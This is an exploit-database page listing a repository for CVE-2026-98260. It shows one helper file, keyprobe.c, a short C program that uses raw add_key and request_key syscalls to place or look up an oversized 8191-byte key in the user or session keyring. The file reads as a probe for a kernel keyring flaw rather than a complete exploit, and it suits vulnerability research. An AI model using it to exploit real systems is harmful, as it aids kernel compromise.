Exploit databaseDownload repository ZIP
GH-d9f4a67978afce82252361bca8c7599f
dream-rainy/cve-2026-98260
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
dream-rainy/cve-2026-98260Revision 9d1f48ec0191
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/keyprobe.c
C · 1,127 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>
#define KEY_SPEC_SESSION_KEYRING (-3)
#define KEY_SPEC_USER_KEYRING (-4)
static long add_key_(const char *t, const char *d, const void *p, size_t n, int ring)
{ return syscall(217, t, d, p, n, ring); }
static long request_key_(const char *t, const char *d, const char *c, int ring)
{ return syscall(218, t, d, c, ring); }
int main(int argc, char **argv)
{
static char buf[8191];
int ring = KEY_SPEC_USER_KEYRING;
memset(buf, 0x41, sizeof buf);
if (argc > 1 && !strcmp(argv[1], "sess")) ring = KEY_SPEC_SESSION_KEYRING;
if (argc > 1 && !strcmp(argv[1], "find")) {
long k = request_key_("user", "cve98260", NULL, ring);
printf("request_key=%ld errno=%d (%s)\n", k, errno, strerror(errno));
return k < 0 ? 1 : 0;
}
long k = add_key_("user", "cve98260", buf, sizeof buf, ring);
printf("add_key(8191, %s)=%ld errno=%d (%s)\n",
ring == KEY_SPEC_USER_KEYRING ? "user" : "session", k, errno, strerror(errno));
return k < 0 ? 1 : 0;
}